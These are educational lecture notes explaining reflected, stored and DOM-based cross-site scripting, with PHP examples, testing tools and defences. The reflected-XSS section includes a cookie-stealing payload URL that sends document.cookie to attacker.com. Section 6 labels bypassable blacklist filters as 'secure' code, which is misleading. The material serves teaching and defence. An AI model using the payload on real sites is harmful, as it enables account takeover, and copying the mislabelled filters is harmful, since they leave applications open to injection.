🧠 Lecture 23 – Cross-Site Scripting (XSS)

🔹 1. What is XSS (Cross-Site Scripting)?

Cross-Site Scripting (XSS) is a type of **client-side attack** where an attacker injects **malicious scripts** (usually JavaScript) into a trusted website.
When a user visits the infected web page, the script runs **in their browser** — without their knowledge — and can steal data like:

- Cookies 🍪
- Session tokens
- Login credentials
- Browser information

📌 **In short:**

XSS allows attackers to run code inside the victim's browser.

🔹 2. Why is XSS Dangerous?

- Steals **cookies** or **session IDs** to log in as another user.
- Performs **unauthorized actions** on behalf of the victim (like sending messages or transferring funds).
- Redirects users to **malicious websites**.
- Can spread **malware**.
- Used in **phishing attacks** to steal sensitive data.

🔹 3. Understanding Cookies and Session Tokens

🍪 **Cookies**

- Small data files stored by websites in your browser.
- Used to **remember login sessions** (like "Keep me signed in").
- Example: Instagram or Gmail keeps you logged in using cookies.

🔑 Session Token

- A **unique ID** assigned by the server when you log in.
- It verifies your identity on every page request.
- If an attacker steals your session token, they can **log in without username or password**.

👉 That's why attackers use XSS — to **steal session cookies or tokens** and take over accounts.

🔹 4. HTTP GET and POST Methods

To understand XSS properly, you should know how data moves between the **client (browser)** and the **server**:

Method	Purpose	Example Use
GET	Requests data from a server. The data is visible in the URL.	Viewing a web page, searching (?id=1).
POST	Sends data securely to the server. The data is not visible in the URL.	Submitting login forms or comments.

Example:

- GET → https://site.com/profile?id=10
- POST → Submitting form data like username/password.

Attackers can target **both GET and POST requests** to inject malicious scripts.

🔹 5. Types of XSS Attacks

There are **three main types of XSS** — each works differently depending on where the malicious code is injected.

🧩 1️⃣ Reflected XSS (Non-Persistent XSS)

🔸 **Definition:**

- The malicious script is **not stored** on the server.
- It is **immediately reflected** back from the web application to the user's browser.
- It executes **only when the victim clicks a malicious link** or submits data containing the script.

🔸 **How It Works:**

1. The attacker creates a malicious link that includes a script.
2. The victim clicks the link.
3. The server "reflects" that script in the response.
4. The browser executes it — stealing cookies/session data.

🔸 **Example:**

Input in a search box:

<script>alert(document.cookie)</script>

When this runs, the victim's **cookies are shown in an alert box** — and attackers can steal them.

🔸 **How Attackers Use It:**

- Send a link like:
- https://vulnerable-site.com/search?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
- When the victim clicks it, their session cookies are **sent to the attacker's server**.

🔸 **Prevention:**

- Validate and sanitize all input.
- Encode special characters (<, >, ", ').
- Never directly use user input in HTML output.

🧩 2️⃣ Stored XSS (Persistent XSS)

🔸 **Definition:**

- The malicious script is **stored permanently** on the target server.
- Anyone who visits the infected page will have the script executed in their browser.

🔸 **How It Works:**

1. Attacker submits a malicious script in a form (e.g., comment box, chat message, feedback form).
2. The server **stores** that script in the database.
3. Every time another user visits the page, the script **executes automatically** in their browser.

🔸 **Example:**

In a comment box:

<script>alert("This site is hacked!")</script>

Now, every user who opens that comment sees the alert — and the attacker could just as easily **steal cookies** or **redirect users** to a phishing site.

🔸 **Prevention:**

- Sanitize and encode user input **before saving to database**.
- Use frameworks with built-in XSS protection (like Django, Laravel, Spring).
- Filter <script> tags and suspicious attributes.

🧩 3️⃣ DOM-Based XSS (Document Object Model XSS)

🔸 **Definition:**

- Occurs when **JavaScript code on the client side** (browser) processes user input **insecurely**.
- The malicious payload **never reaches the server** — it executes directly in the browser.

🔸 **How It Works:**

1. The attacker manipulates the **URL or client-side script**.
2. The victim clicks or loads that link.
3. The browser executes the injected JavaScript code because of insecure handling in client-side code.

🔸 **Example:**

Suppose the page uses JavaScript like:

document.write("Welcome " + location.hash.substring(1));

If the attacker sends:

https://example.com/#<script>alert('Hacked')</script>

Then the browser executes the script directly!

🔸 **Prevention:**

- Avoid using document.write() or innerHTML with unsanitized input.
- Use DOM manipulation functions like textContent or createTextNode() instead.
- Always **encode data** before inserting into the page.

🔹 6. Example: Developer Code That Prevents XSS

❌ **Vulnerable Code Example:**

```
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL){
  $name = $_GET['name'];
  echo "<pre>Hello $name</pre>";
}
```

➡️ If user enters <script>alert('Hacked')</script>, the browser executes it.

✅ **Secure Version 1 (String Replace):**

```
$name = str_replace('<script>', '', $_GET['name']);
echo "<pre>Hello $name</pre>";
```

This replaces <script> with nothing, so it never executes.

✅ **Secure Version 2 (Regex Filter):**

```
$name = preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);
echo "<pre>Hello $name</pre>";
```

This removes any string containing the word “script”.

⚠️ **However:**

Attackers can still use **HTML tags** like:

<img src=x onmouseover=alert("Hello")>

Even without <script> tags, this event handler executes JavaScript.

So developers must block **event attributes** (like onmouseover, onload, etc.) too!

🔹 7. Tools and Practice

- **DVWA (Damn Vulnerable Web Application)** or **bWAPP** — practice XSS safely in local environments.
- **Burp Suite** — intercept and modify requests.
- **OWASP ZAP** — detect XSS vulnerabilities automatically.

🔹 8. How to Defend Against XSS

Prevention Technique	Explanation
Input Validation	Accept only expected characters and formats.
Output Encoding	Encode <, >, &, ', " so browsers don't treat them as code.
HTTPOnly Cookies	Prevent JavaScript from accessing cookies.
Content Security Policy (CSP)	Block inline scripts and restrict script sources.
Escape Data in HTML/JS	Always escape untrusted data before inserting it into web pages.
Keep Software Updated	Use latest frameworks and libraries with built-in XSS protections.

🔹 9. Quick Comparison of All Three XSS Types

Type	Stored?	Where Executed?	Common Example
Reflected XSS	❌ No	Victim clicks malicious link	<script>alert(document.cookie)</script>
Stored XSS	✅ Yes	Every visitor's browser	Injected in comment box or profile bio
DOM-Based XSS	❌ (Client-side)	Victim's browser (via JavaScript)	URL fragment like #<script>

🔹 10. Key Takeaways

1. **XSS** = attacker's script running in your browser.
2. It targets **client-side** vulnerabilities.
3. Goal: **Steal cookies, session IDs, or perform unauthorized actions**.
4. There are **3 main types** — Reflected, Stored, and DOM-based.
5. Prevention: **Validate, sanitize, encode, and secure cookies**.
6. Always test websites with **tools like DVWA, Burp Suite, OWASP ZAP** for XSS vulnerabilities.